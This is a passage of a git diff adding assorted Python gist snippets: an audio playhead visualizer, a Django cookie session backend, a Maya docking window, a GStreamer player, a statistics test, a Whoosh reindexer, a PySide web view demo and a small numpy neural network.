+ax_time.set_ylim(-32768,32768)
+
+time_posn, = ax_time.plot([0,0], [-32768,32768], 'k')
+spec_posn, = ax_spec_gram.plot([0,0], [0, max_freq_kHz*1000.0], 'k')
+
+
+class AudioSubsetter(object):
+    def __init__(self, audio_array, audio_device_queue, n_channels, sampling_rate, n_bytes_per_sample, chunk_dt=0.1):
+        self.last_chunk = -1
+        self.queue = audio_device_queue
+        self.audio_dat = audio_array.tostring()
+        self.to_t = 1.0/(sampling_rate*n_channels*n_bytes_per_sample)
+        chunk = int(chunk_dt*fs)*channels*bytes_per_sample
+        self.chunk0 = np.arange(0, len(self.audio_dat), chunk, dtype=int)
+        self.chunk1 = self.chunk0 + chunk
+        
+    def update(self, *args):
+        """ Timer callback for audio position indicator. Called with """
+        self.last_chunk +=1
+        if self.last_chunk >= len(self.chunk0):
+            # self.queue.put("Stop")
+            self.last_chunk = 0
+        
+        i = self.last_chunk
+        i0, i1 = self.chunk0[i], self.chunk1[i]
+        self.queue.put(self.audio_dat[i0:i1])
+        t0, t1 = i0*self.to_t, i1*self.to_t
+        print t0, t1
+        for line_artist in args:
+            line_artist.set_xdata([t1,t1])
+        args[0].figure.canvas.draw()
+        
+
+print "Setting up audio process"
+dt = .5
+playhead = AudioSubsetter(audio, Q, channels, fs, bytes_per_sample, chunk_dt=dt)
+timer = fig.canvas.new_timer(interval=dt*1000.0)
+timer.add_callback(playhead.update, spec_posn, time_posn)
+timer.start()
+
+plt.show()
\ No newline at end of file
diff --git a/hard-gists/215274/._snippet.py b/hard-gists/215274/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/215274/._snippet.py differ
diff --git a/hard-gists/215274/snippet.py b/hard-gists/215274/snippet.py
new file mode 100644
index 00000000..89961eac
--- /dev/null
+++ b/hard-gists/215274/snippet.py
@@ -0,0 +1,100 @@
+from base64 import b64decode, b64encode
+from time import time
+
+from django.conf import settings
+from django.contrib.sessions.backends.base import SessionBase
+from django.core.exceptions import SuspiciousOperation
+from django.utils import simplejson
+from django.utils.cache import patch_vary_headers
+from django.utils.encoding import force_unicode
+from django.utils.http import cookie_date
+from django.utils.hashcompat import sha_constructor
+
+MAX_COOKIE_SIZE = getattr(settings, 'MAX_COOKIE_SIZE', 4096)
+
+
+class SessionMiddleware(object):
+
+    def process_request(self, request):
+        cookie = request.COOKIES.get(settings.SESSION_COOKIE_NAME)
+        request.session = SessionStore(cookie)
+
+    def process_response(self, request, response):
+        session = request.session
+        if session.deleted:
+            response.delete_cookie(settings.SESSION_COOKIE_NAME,
+                domain = settings.SESSION_COOKIE_DOMAIN,
+                path = settings.SESSION_COOKIE_PATH
+            )
+        else:
+            if session.accessed:
+                patch_vary_headers(response, ('Cookie',))
+            if session.modified or settings.SESSION_SAVE_EVERY_REQUEST:
+                if session.get_expire_at_browser_close():
+                    max_age = None
+                    expires = None
+                else:
+                    max_age = session.get_expiry_age()
+                    expires = cookie_date(time() + max_age)
+                cookie = session.encode(session._session)
+                if len(cookie) <= MAX_COOKIE_SIZE:
+                    response.set_cookie(settings.SESSION_COOKIE_NAME, cookie,
+                        max_age = max_age, expires=expires,
+                        domain = settings.SESSION_COOKIE_DOMAIN,
+                        path = settings.SESSION_COOKIE_PATH,
+                        secure = settings.SESSION_COOKIE_SECURE or None
+                    )
+                else:
+                    # The data doesn't fit into a cookie, not sure what's the
+                    # best thing to do in this case. Right now, we just leave
+                    # the old cookie intact if there was one. If Django had
+                    # some kind of standard logging interface, we could also
+                    # log a warning here.
+                    pass
+        return response
+
+
+class SessionStore(SessionBase):
+
+    def __init__(self, cookie):
+        SessionBase.__init__(self, 'cookie')
+        self.cookie = cookie
+        self.deleted = False
+
+    def exists(self, session_key):
+        return self.cookie and not self.deleted
+
+    def create(self):
+        pass
+
+    def save(self, must_create=False):
+        pass
+
+    def delete(self, session_key=None):
+        self.deleted = True
+
+    def load(self):
+        if self.cookie:
+            return self.decode(self.cookie)
+        return {}
+
+    def cycle_key(self):
+        pass
+
+    def encode(self, session_dict):
+        json = simplejson.dumps(session_dict)
+        json_sha = sha_constructor(json + settings.SECRET_KEY).hexdigest()
+        try:
+            return b64encode(str(json + json_sha).encode('zlib'))
+        except Exception, e:
+            return ''
+
+    def decode(self, session_data):
+        try:
+            data = b64decode(session_data).decode('zlib')
+        except Exception, e:
+            return {}
+        json, json_sha = data[:-40], data[-40:]
+        if sha_constructor(json + settings.SECRET_KEY).hexdigest() != json_sha:
+            raise SuspiciousOperation('User tampered with session cookie')
+        return simplejson.loads(json)
diff --git a/hard-gists/2172888/._snippet.py b/hard-gists/2172888/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2172888/._snippet.py differ
diff --git a/hard-gists/2172888/snippet.py b/hard-gists/2172888/snippet.py
new file mode 100644
index 00000000..d12bb8bb
--- /dev/null
+++ b/hard-gists/2172888/snippet.py
@@ -0,0 +1,23 @@
+from django.core.files.temp import NamedTemporaryFile
+
+def save_image_from_url(self):
+        """
+        Save remote images from url to image field.
+        Requires python-requests
+        """
+        r = requests.get(self.image_url)
+
+        if r.status_code == 200:
+            img_temp = NamedTemporaryFile(delete=True)
+            img_temp.write(r.content)
+            img_temp.flush()
+
+            try:
+                self.image.save(os.path.basename(self.image_url), File(img_temp), save=True)
+            except:
+                print "Failed downloading image from ", self.image_url
+                return False
+            else:
+                return True
+        else:
+            return False
\ No newline at end of file
diff --git a/hard-gists/217bfb7e54c6f75b9b1b2b3d73a1a43a/._snippet.py b/hard-gists/217bfb7e54c6f75b9b1b2b3d73a1a43a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/217bfb7e54c6f75b9b1b2b3d73a1a43a/._snippet.py differ
diff --git a/hard-gists/217bfb7e54c6f75b9b1b2b3d73a1a43a/snippet.py b/hard-gists/217bfb7e54c6f75b9b1b2b3d73a1a43a/snippet.py
new file mode 100644
index 00000000..317c7400
--- /dev/null
+++ b/hard-gists/217bfb7e54c6f75b9b1b2b3d73a1a43a/snippet.py
@@ -0,0 +1,183 @@
+"""
+This is what you need to do in order to get a qt window to dock next to maya channel box,
+In all maya versions, including 2017 with PySide2
+"""
+__author__ = "liorbenhorin@gmail.com"
+
+import sys
+import os
+import logging
+import xml.etree.ElementTree as xml
+from cStringIO import StringIO
+
+# Qt is a project by Marcus Ottosson ---> https://github.com/mottosso/Qt.py
+from Qt import QtGui, QtWidgets, QtCore, QtCompat
+
+try:
+    import pysideuic
+    from shiboken import wrapInstance
+
+    logging.Logger.manager.loggerDict["pysideuic.uiparser"].setLevel(logging.CRITICAL)
+    logging.Logger.manager.loggerDict["pysideuic.properties"].setLevel(logging.CRITICAL)
+except ImportError:
+    import pyside2uic as pysideuic
+    from shiboken2 import wrapInstance
+
+    logging.Logger.manager.loggerDict["pyside2uic.uiparser"].setLevel(logging.CRITICAL)
+    logging.Logger.manager.loggerDict["pyside2uic.properties"].setLevel(logging.CRITICAL)
+
+import maya.OpenMayaUI as omui
+from maya.app.general.mayaMixin import MayaQWidgetDockableMixin
+import maya.cmds as cmds
+
+
+def loadUiType(uiFile):
+    """
+	:author: Jason Parks
+	Pyside lacks the "loadUiType" command, so we have to convert the ui file to py code in-memory first
+	and then execute it in a special frame to retrieve the form_class.
+	"""
+    parsed = xml.parse(uiFile)
+    widget_class = parsed.find('widget').get('class')
+    form_class = parsed.find('class').text
+
+    with open(uiFile, 'r') as f:
+        o = StringIO()
+        frame = {}
+
+        pysideuic.compileUi(f, o, indent=0)
+        pyc = compile(o.getvalue(), '<string>', 'exec')
+        exec pyc in frame
+
+        # Fetch the base_class and form class based on their type in the xml from designer
+        form_class = frame['Ui_%s' % form_class]
+        base_class = getattr(QtWidgets, widget_class)
+    return form_class, base_class
+
+
+def maya_main_window():
+    main_window_ptr = omui.MQtUtil.mainWindow()
+    return wrapInstance(long(main_window_ptr), QtWidgets.QWidget)
+
+def maya_api_version():
+    return int(cmds.about(api=True))
+
+class MyDockingWindow(MayaQWidgetDockableMixin, QtWidgets.QMainWindow):
+    MAYA2014 = 201400
+    MAYA2015 = 201500
+    MAYA2016 = 201600
+    MAYA2016_5 = 201650
+    MAYA2017 = 201700
+
+    def __init__(self, parent=None):
+
+        self.deleteInstances()  # remove any instance of this window before starting
+
+        super(MyDockingWindow, self).__init__(parent)
+
+        self.setWindowFlags(QtCore.Qt.Tool)
+
+        """
+		compile the .ui file on loadUiType(), a function that uses pysideuic / pyside2uic to compile .ui files
+		"""
+        uiFile = os.path.join(os.path.dirname(__file__), 'MyDockingWindow_ui.ui')
+        form_class, base_class = loadUiType(uiFile)
+        self.ui = form_class()
+        self.ui.setupUi(self)
+
+        self.setAttribute(QtCore.Qt.WA_DeleteOnClose)
+
+    def dockCloseEventTriggered(self):
+        self.deleteInstances()
+
+    # Delete any instances of this class
+    def deleteInstances(self):
+
+        def delete2016():
+            # Go through main window's children to find any previous instances
+            for obj in maya_main_window().children():
+
+                if str(type(
+                        obj)) == "<class 'maya.app.general.mayaMixin.MayaQDockWidget'>":  # ""<class 'maya.app.general.mayaMixin.MayaQDockWidget'>":
+
+                    if obj.widget().__class__.__name__ == "MyDockingWindow":  # Compare object names
+
+                        obj.setParent(None)
+                        obj.deleteLater()
+
+        def delete2017():
+            '''
+			Look like on 2017 this needs to be a little diffrents, like in this function,
+			However, i might be missing something since ive done this very late at night :)
+			'''
+
+            for obj in maya_main_window().children():
+
+                if str(type(obj)) == "<class '{}.MyDockingWindow'>".format(os.path.splitext(
+                        os.path.basename(__file__)[0])):  # ""<class 'moduleName.mayaMixin.MyDockingWindow'>":
+
+                    if obj.__class__.__name__ == "MyDockingWindow":  # Compare object names
+
+                        obj.setParent(None)
+                        obj.deleteLater()
+
+        if maya_api_version() < MyDockingWindow.MAYA2017:
+            delete2016()
+        else:
+            delete2017()
+
+    def deleteControl(self, control):
+
+        if cmds.workspaceControl(control, q=True, exists=True):
+            cmds.workspaceControl(control, e=True, close=True)
+            cmds.deleteUI(control, control=True)
+
+    # Show window with docking ability
+    def run(self):
+        '''
+		2017 docking is a little different...
+		'''
+
+        def run2017():
+            self.setObjectName("MyMainDockingWindow")
+
+            # The deleteInstances() dose not remove the workspace control, and we need to remove it manually
+            workspaceControlName = self.objectName() + 'WorkspaceControl'
+            self.deleteControl(workspaceControlName)
+
+            # this class is inheriting MayaQWidgetDockableMixin.show(), which will eventually call maya.cmds.workspaceControl.
+            # I'm calling it again, since the MayaQWidgetDockableMixin dose not have the option to use the "tabToControl" flag,
+            # which was the only way i found i can dock my window next to the channel controls, attributes editor and modelling toolkit.
+            self.show(dockable=True, area='right', floating=False)
+            cmds.workspaceControl(workspaceControlName, e=True, ttc=["AttributeEditor", -1], wp="preferred", mw=420)
+            self.raise_()
+
+            # size can be adjusted, of course
+            self.setDockableParameters(width=420)
+
+        def run2016():
+            self.setObjectName("MyMainDockingWindow")
+            # on maya < 2017, the MayaQWidgetDockableMixin.show() magiclly docks the window next
+            # to the channel controls, attributes editor and modelling toolkit.
+            self.show(dockable=True, area='right', floating=False)
+            self.raise_()
+            # size can be adjusted, of course
+            self.setDockableParameters(width=420)
+            self.setSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Preferred)
+            self.setMinimumWidth(420)
+            self.setMaximumWidth(600)
+
+        if maya_api_version() < MyDockingWindow.MAYA2017:
+            run2016()
+        else:
+            run2017()
+
+
+def show():
+    '''
+	this is the funciton that start things up
+	'''
+    global MyDockingWindow
+    MyDockingWindow = MyDockingWindow(parent=maya_main_window())
+    MyDockingWindow.run()
+    return MyDockingWindow
diff --git a/hard-gists/2184906/._snippet.py b/hard-gists/2184906/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2184906/._snippet.py differ
diff --git a/hard-gists/2184906/snippet.py b/hard-gists/2184906/snippet.py
new file mode 100644
index 00000000..b6da59e0
--- /dev/null
+++ b/hard-gists/2184906/snippet.py
@@ -0,0 +1,83 @@
+#!/usr/bin/env python
+import pygst
+pygst.require("0.10")
+import gst, pygtk, gtk
+import sys
+class Main(object):
+  def __init__(self):
+    self.multimedia_file=""
+    # Create the GUI
+    self.win = gtk.Window()
+    self.win.set_title("Play Video Example")
+    self.win.connect("delete_event",
+    lambda w,e: gtk.main_quit())
+    vbox = gtk.VBox(False, 0)
+    hbox = gtk.HBox(False, 0)
+    self.load_file = gtk.FileChooserButton("Choose Audio File")
+    self.play_button = gtk.Button("Play", gtk.STOCK_MEDIA_PLAY)
+    self.pause_button = gtk.Button("Pause", gtk.STOCK_MEDIA_PAUSE)
+    self.stop_button = gtk.Button("Stop", gtk.STOCK_MEDIA_STOP)
+    self.videowidget = gtk.DrawingArea()
+    # You want to expand the video widget or
+    # else you cannot see it
+    self.videowidget.set_size_request(400, 250)
+    self.load_file.connect("selection-changed",
+    self.on_file_selected)
+    self.play_button.connect("clicked", self.on_play_clicked)
+    self.pause_button.connect("clicked", self.on_pause_clicked)
+    self.stop_button.connect("clicked", self.on_stop_clicked)
+    hbox.pack_start(self.play_button, False, True, 0)
+    hbox.pack_start(self.pause_button, False, True, 0)
+    hbox.pack_start(self.stop_button, False, True, 0)
+    vbox.pack_start(self.load_file, False, True, 0)
+    vbox.pack_start(self.videowidget, True, True, 0)
+    vbox.pack_start(hbox, False, True, 0)
+    self.win.add(vbox)
+    self.win.show_all()
+    # Setup GStreamer
+    self.player = gst.element_factory_make(
+    "playbin", "MultimediaPlayer")
+    bus = self.player.get_bus()
+    bus.add_signal_watch()
+    bus.enable_sync_message_emission()
+    #used to get messages that GStreamer emits
+    bus.connect("message", self.on_message)
+    #used for connecting video to your application
+    bus.connect("sync-message::element",
+    self.on_sync_message)
+  def on_file_selected(self, widget):
+    self.multimedia_file = self.load_file.get_filename()
+  def on_play_clicked(self, widget):
+    self.player.set_property('uri',
+    "file://" + self.multimedia_file)
+    self.player.set_state(gst.STATE_PLAYING)
+  def on_pause_clicked(self, widget):
+    self.player.set_state(gst.STATE_PAUSED)
+  def on_stop_clicked(self, widget):
+    self.player.set_state(gst.STATE_NULL)
+  def on_message(self, bus, message):
+    if message.type == gst.MESSAGE_EOS:
+    # End of Stream
+      self.player.set_state(gst.STATE_NULL)
+    elif message.type == gst.MESSAGE_ERROR:
+      self.player.set_state(gst.STATE_NULL)
+    
+      (err, debug) = message.parse_error()
+      print "Error: %s" % err, debug
+      
+  def on_sync_message(self, bus, message):
+    if message.structure is None:
+      return False
+    if message.structure.get_name() == "prepare-xwindow-id":
+      if sys.platform == "win32":
+	win_id = self.videowidget.window.handle
+      else:
+	win_id = self.videowidget.window.xid
+      assert win_id
+      imagesink = message.src
+      imagesink.set_property("force-aspect-ratio", True)
+      imagesink.set_xwindow_id(win_id)
+
+if __name__ == "__main__":
+  Main()
+  gtk.main()
diff --git a/hard-gists/2192812/._snippet.py b/hard-gists/2192812/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2192812/._snippet.py differ
diff --git a/hard-gists/2192812/snippet.py b/hard-gists/2192812/snippet.py
new file mode 100644
index 00000000..82e80d9d
--- /dev/null
+++ b/hard-gists/2192812/snippet.py
@@ -0,0 +1,56 @@
+#!/usr/bin/env python
+"""
+Highlight stdin using pygments and output to stdout
+
+Re-uses httpie.
+
+Auto-detects the input language.
+
+Will not colorize if piped into something else.
+
+Usage: echo '{"test": "foo", "bar": 123, "bat": false}' | hl
+Usage: echo '{"test": "foo", "bar": 123, "bat": false}' | hl | pbcopy (not colored)
+"""
+import sys
+import os
+import json
+import pygments
+import re
+from pygments.lexers import *
+from pygments import token
+from pygments.util import ClassNotFound
+from pygments.formatters.terminal256 import Terminal256Formatter
+from pygments.formatters.terminal import TerminalFormatter
+from pygments.formatters.other import NullFormatter
+from httpie.pygson import JSONLexer
+from httpie import solarized
+
+try:
+
+	FORMATTER = (Terminal256Formatter
+	             if '256color' in os.environ.get('TERM', '')
+	             else TerminalFormatter)
+
+	if not sys.stdout.isatty():
+		FORMATTER = NullFormatter
+
+	formatter = FORMATTER(style=solarized.SolarizedStyle)
+
+	content = sys.stdin.read()
+
+	lexer = guess_lexer(content)
+
+	if isinstance(lexer, MatlabLexer):
+		lexer = JSONLexer()
+
+	if isinstance(lexer, JSONLexer):
+		content = json.dumps(json.loads(content), indent=4)
+
+	output = pygments.highlight(content, lexer, formatter)
+
+	print output
+
+	sys.exit(0)
+
+except Exception as e:
+	sys.exit(-1)
diff --git a/hard-gists/21b4442b7e7f36f6a17b/._snippet.py b/hard-gists/21b4442b7e7f36f6a17b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/21b4442b7e7f36f6a17b/._snippet.py differ
diff --git a/hard-gists/21b4442b7e7f36f6a17b/snippet.py b/hard-gists/21b4442b7e7f36f6a17b/snippet.py
new file mode 100644
index 00000000..eb8b54fb
--- /dev/null
+++ b/hard-gists/21b4442b7e7f36f6a17b/snippet.py
@@ -0,0 +1,136 @@
+import numpy as np
+from scipy import stats
+from itertools import combinations
+from statsmodels.stats.multitest import multipletests
+from statsmodels.stats.libqsturng import psturng
+import warnings
+
+
+def kw_nemenyi(groups, to_compare=None, alpha=0.05, method='tukey'):
+    """
+
+    Kruskal-Wallis 1-way ANOVA with Nemenyi's multiple comparison test
+
+    Arguments:
+    ---------------
+    groups: sequence
+        arrays corresponding to k mutually independent samples from
+        continuous populations
+
+    to_compare: sequence
+        tuples specifying the indices of pairs of groups to compare, e.g.
+        [(0, 1), (0, 2)] would compare group 0 with 1 & 2. by default, all
+        possible pairwise comparisons between groups are performed.
+
+    alpha: float
+        family-wise error rate used for correcting for multiple comparisons
+        (see statsmodels.stats.multitest.multipletests for details)
+
+    method: string
+        the null distribution of the test statistic used to determine the
+        corrected p-values for each pair of groups, can be either "tukey"
+        (studentized range) or "chisq" (Chi-squared). the "chisq" method will
+        correct for tied ranks.
+
+    Returns:
+    ---------------
+    H: float
+        Kruskal-Wallis H-statistic
+
+    p_omnibus: float
+        p-value corresponding to the global null hypothesis that the medians of
+        the groups are all equal
+
+    p_corrected: float array
+        corrected p-values for each pairwise comparison, corresponding to the
+        null hypothesis that the pair of groups has equal medians. note that
+        these are only meaningful if the global null hypothesis is rejected.
+
+    reject: bool array
+        True for pairs where the null hypothesis can be rejected for the given
+        alpha
+
+    Reference:
+    ---------------
+
+    """
+
+    # omnibus test (K-W ANOVA)
+    # -------------------------------------------------------------------------
+
+    if method is None:
+        method = 'chisq'
+    elif method not in ('tukey', 'chisq'):
+        raise ValueError('method must be either "tukey" or "chisq"')
+
+    groups = [np.array(gg) for gg in groups]
+
+    k = len(groups)
+
+    n = np.array([len(gg) for gg in groups])
+    if np.any(n < 5):
+        warnings.warn("Sample sizes < 5 are not recommended (K-W test assumes "
+                      "a chi square distribution)")
+
+    allgroups = np.concatenate(groups)
+    N = len(allgroups)
+    ranked = stats.rankdata(allgroups)
+
+    # correction factor for ties
+    T = stats.tiecorrect(ranked)
+    if T == 0:
+        raise ValueError('All numbers are identical in kruskal')
+
+    # sum of ranks for each group
+    j = np.insert(np.cumsum(n), 0, 0)
+    R = np.empty(k, dtype=np.float)
+    for ii in range(k):
+        R[ii] = ranked[j[ii]:j[ii + 1]].sum()
+
+    # the Kruskal-Wallis H-statistic
+    H = (12. / (N * (N + 1.))) * ((R ** 2.) / n).sum() - 3 * (N + 1)
+
+    # apply correction factor for ties
+    H /= T
+
+    df_omnibus = k - 1
+    p_omnibus = stats.chisqprob(H, df_omnibus)
+
+    # multiple comparisons
+    # -------------------------------------------------------------------------
+
+    # by default we compare every possible pair of groups
+    if to_compare is None:
+        to_compare = tuple(combinations(range(k), 2))
+
+    ncomp = len(to_compare)
+
+    dif = np.empty(ncomp, dtype=np.float)
+    B = np.empty(ncomp, dtype=np.float)
+
+    Rmean = R / n
+    A = N * (N + 1) / 12.
+
+    for pp, (ii, jj) in enumerate(to_compare):
+
+        # absolute difference of mean ranks
+        dif[pp] = np.abs(Rmean[ii] - Rmean[jj])
+        B[pp] = (1. / n[ii]) + (1. / n[jj])
+
+    if method == 'tukey':
+
+        # p-values obtained from the upper quantiles of the studentized range
+        # distribution
+        qval = dif / np.sqrt(A * B)
+        p_corrected = psturng(qval * np.sqrt(2), k, 1E6)
+
+    elif method == 'chisq':
+
+        # p-values obtained from the upper quantiles of the chi-squared
+        # distribution
+        chi2 = (dif ** 2.) / (A * B)
+        p_corrected = stats.chisqprob(chi2 * T, k - 1)
+
+    reject = p_corrected <= alpha
+
+    return H, p_omnibus, p_corrected, reject
\ No newline at end of file
diff --git a/hard-gists/21fbffd7a7990f5e066c/._snippet.py b/hard-gists/21fbffd7a7990f5e066c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/21fbffd7a7990f5e066c/._snippet.py differ
diff --git a/hard-gists/21fbffd7a7990f5e066c/snippet.py b/hard-gists/21fbffd7a7990f5e066c/snippet.py
new file mode 100644
index 00000000..c81c120a
--- /dev/null
+++ b/hard-gists/21fbffd7a7990f5e066c/snippet.py
@@ -0,0 +1,64 @@
+#!/usr/bin/env python
+
+import datetime
+from app import app, models
+import whoosh
+import flask_whooshalchemy
+
+
+"""
+Rebuild all Whoosh search indices
+
+Useful after manually importing data (side-stepping the SQLAlchemy ORM
+and automatic Whoosh index updates)
+
+If this is intended as a full rebuild, you should consider deleting the
+Whoosh search database (as specified in app.config["WHOOSH_BASE"])
+before running the rebuild. This will ensure that no old/stale
+data is left in the search indices (this process doesn't delete removed
+data, only recreated search entries for current data). 
+"""
+
+
+program_start = datetime.datetime.utcnow()
+
+def log(message):
+    logtime = datetime.datetime.utcnow()
+    logdiff = logtime - program_start
+    print("{0} (+{1:.3f}): {2}".format(logtime.strftime("%Y-%m-%d %H:%M:%S"),
+                                    logdiff.total_seconds(),
+                                    message))
+
+def rebuild_index(model):
+    """Rebuild search index of Flask-SQLAlchemy model"""
+    log("Rebuilding {0} index...".format(model.__name__))
+    primary_field = model.pure_whoosh.primary_key_name
+    searchables = model.__searchable__
+    index_writer = flask_whooshalchemy.whoosh_index(app, model)
+
+    # Fetch all data
+    entries = model.query.all()
+
+    entry_count = 0
+    with index_writer.writer() as writer:
+        for entry in entries:
+            index_attrs = {}
+            for field in searchables:
+                index_attrs[field] = unicode(getattr(entry, field))
+
+            index_attrs[primary_field] = unicode(getattr(entry, primary_field))
+            writer.update_document(**index_attrs)
+            entry_count += 1
+
+    log("Rebuilt {0} {1} search index entries.".format(str(entry_count), model.__name__))
+
+        
+
+if __name__ == "__main__":
+    model_list = [models.Product,
+                  models.Commodity,
+                  models.Category,
+                  models.Page]
+
+    for model in model_list:
+        rebuild_index(model)
diff --git a/hard-gists/2203822/._snippet.py b/hard-gists/2203822/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2203822/._snippet.py differ
diff --git a/hard-gists/2203822/snippet.py b/hard-gists/2203822/snippet.py
new file mode 100644
index 00000000..d9f4558a
--- /dev/null
+++ b/hard-gists/2203822/snippet.py
@@ -0,0 +1,37 @@
+import sys
+from PySide.QtCore import QObject, Slot
+from PySide.QtGui import QApplication
+from PySide.QtWebKit import QWebView
+
+
+html = """
+<html>
+<body>
+    <h1>Hello!</h1><br>
+    <h2><a href="#" onclick="printer.text('Message from QWebView')">QObject Test</a></h2>
+    <h2><a href="#" onclick="alert('Javascript works!')">JS test</a></h2>
+</body>
+</html>
+"""
+
+class ConsolePrinter(QObject):
+    def __init__(self, parent=None):
+        super(ConsolePrinter, self).__init__(parent)
+
+    @Slot(str)
+    def text(self, message):
+        print message
+
+if __name__ == '__main__':
+    app = QApplication(sys.argv)
+    view = QWebView()
+    frame = view.page().mainFrame()
+    printer = ConsolePrinter()
+    
+    view.setHtml(html)
+    frame.addToJavaScriptWindowObject('printer', printer)
+    frame.evaluateJavaScript("alert('Hello');")
+    frame.evaluateJavaScript("printer.text('Goooooooooo!');")
+    view.show()
+    
+    app.exec_()
\ No newline at end of file
diff --git a/hard-gists/2205aa857901be69a4186b7a74334a41/._snippet.py b/hard-gists/2205aa857901be69a4186b7a74334a41/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2205aa857901be69a4186b7a74334a41/._snippet.py differ
diff --git a/hard-gists/2205aa857901be69a4186b7a74334a41/snippet.py b/hard-gists/2205aa857901be69a4186b7a74334a41/snippet.py
new file mode 100644
index 00000000..ef23f70f
--- /dev/null
+++ b/hard-gists/2205aa857901be69a4186b7a74334a41/snippet.py
@@ -0,0 +1,195 @@
+import weakref
+import matplotlib.pyplot as plt
+import numpy
+from sklearn.datasets import fetch_mldata
+
+
+class Variable(object):
+
+    def __init__(self, data):
+        self.data = data
+        self.grad = None
+        self.creator = None
+
+    def set_creator(self, func):
+        self.creator = func
+
+    def backward(self):
+        if self.data.size == 1 and self.grad is None:
+            self.grad = numpy.ones_like(self.data)
+        funcs = [self.creator]
+        while funcs:
+            func = funcs.pop()
+            in_data = [x.data for x in func.inputs]
+            out_grad = [y().grad for y in func.outputs]
+            gxs = func.backward(in_data, out_grad)
+            for x, gx in zip(func.inputs, gxs):
+                if gx is None:
+                    continue
+                x.grad = gx
+                if x.creator is not None:
+                    funcs.append(x.creator)
+
+class Function(object):
+
+    def __call__(self, inputs):
+        in_data = [x.data for x in inputs]
+        outputs = self.forward(in_data)
+        ret = [Variable(y) for y in outputs]
+        for y in ret:
+            y.set_creator(self)
+        self.inputs = inputs
+        self.outputs = tuple([weakref.ref(y) for y in ret])
+        return ret
+
+    def forward(self, in_data):
+        raise NotImplementedError
+
+    def backward(self, in_data, grad_output):
+        raise NotImplementedError
+
+class LinearFunction(Function):
+
+    def forward(self, inputs):
+        x, W, b = inputs
+        return x.dot(W.T) + b,
+
+    def backward(self, inputs, grad_outputs):
+        x, W, b = inputs
+        gy, = grad_outputs
+        gx = gy.dot(W)
+        gW = gy.T.dot(x)
+        gb = gy.sum(axis=0)
+        return gx, gW, gb
+
+class ReLUFunction(Function):
+
+    def forward(self, inputs):
+        x, = inputs
+        return numpy.maximum(0, x),
+
+    def backward(self, inputs, grad_outputs):
+        x, = inputs
+        gy, = grad_outputs
+        return (x > 0) * gy,
+
+def relu(x):
+    return ReLUFunction()((x,))[0]
+
+class Link(object):
+
+    def __init__(self, **params):
+        for name, param in params.items():
+            setattr(self, name, Variable(param))
+
+    def params(self):
+        for param in self.__dict__.values():
+            yield param
+
+class Linear(Link):
+
+    def __init__(self, n_in, n_out):
+        W = numpy.random.randn(n_out, n_in) * numpy.sqrt(2 / n_in)
+        b = numpy.zeros((n_out,))
+        super().__init__(W=W, b=b)
+
+    def __call__(self, x):
+        return LinearFunction()((x, self.W, self.b))[0]
+
+class Chain(Link):
+
+    def __init__(self, **links):
+        super().__init__()
+        for name, link in links.items():
+            self.__dict__[name] = link
+
+    def params(self):
+        for link in self.__dict__.values():
+            for param in link.params():
+                yield param
+
+class MeanSquaredError(Function):
+
+    def forward(self, inputs):
+        x0, x1 = inputs
+        return numpy.mean((x0 - x1) ** 2),
+
+    def backward(self, inputs, grad_outputs):
+        x0, x1 = inputs
+        gy, = grad_outputs
+        gx0 = gy * (2. / x0.size) * (x0 - x1)
+        return gx0, -gx0
+
+def mean_squared_error(x0, x1):
+    return MeanSquaredError()((x0, x1))[0]
+
+class Optimizer(object):
+
+    def setup(self, link):
+        self.target = link
+
+    def update(self):
+        for param in self.target.params():
+            self.update_one(param)
+
+class SGD(Optimizer):
+
+    def __init__(self, lr=0.01):
+        self.lr = lr
+
+    def update_one(self, param):
+        param.data -= self.lr * param.grad
+
+model = Chain(
+    f1=Linear(784, 100),
+    f2=Linear(100, 10),
+)
+
+def forward(x):
+    h = relu(model.f1(x))
+    return model.f2(h)
+
+optimizer = SGD(lr=0.01)
+optimizer.setup(model)
+
+mnist = fetch_mldata('MNIST original', data_home='./')
+
+x, t = mnist['data'] / 255, mnist['target']
+t = numpy.array([t == i for i in range(10)]).T
+train_x, train_t = x[:60000], t[:60000]
+val_x, val_t = x[60000:], t[60000:]
+
+losses, accuracy = [], []
+for epoch in range(150):
+    idx = numpy.random.permutation(numpy.arange(len(train_x)))
+    train_x = train_x[idx]
+    train_t = train_t[idx]
+    epoch_loss = []
+    for i in range(0, len(train_x), 128):
+        batch_x = Variable(train_x[i:i + 128])
+        batch_t = Variable(train_t[i:i + 128])
+        y = forward(batch_x)
+        loss = mean_squared_error(y, batch_t)
+        loss.backward()
+        optimizer.update()
+        epoch_loss.append(loss.data)
+
+    losses.append(numpy.mean(epoch_loss))
+    y = forward(Variable(val_x))
+    y = numpy.argmax(y.data, axis=1)
+    t = numpy.argmax(val_t, axis=1)
+    acc = numpy.sum(y == t) / len(y)
+    print('epoch:', epoch, 'loss:', loss.data, 'accuracy:', acc)
+    accuracy.append(acc)
+
+plt.plot(losses)
+plt.title('training loss')
+plt.xlabel('epoch')
+plt.ylabel('mean squared error')
+plt.savefig('loss.png')
+plt.clf()
+plt.plot(accuracy)
+plt.title('validation accuracy')
+plt.xlabel('epoch')
+plt.ylabel('validation accuracy (%)')
+plt.savefig('accuracy.png')
diff --git a/hard-gists/220d56ea6fe9a85a4d762128b11adfba/._snippet.py b/hard-gists/220d56ea6fe9a85a4d762128b11adfba/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/220d56ea6fe9a85a4d762128b11adfba/._snippet.py differ
diff --git a/hard-gists/220d56ea6fe9a85a4d762128b11adfba/snippet.py b/hard-gists/220d56ea6fe9a85a4d762128b11adfba/snippet.py
new file mode 100644
index 00000000..149542f1
--- /dev/null
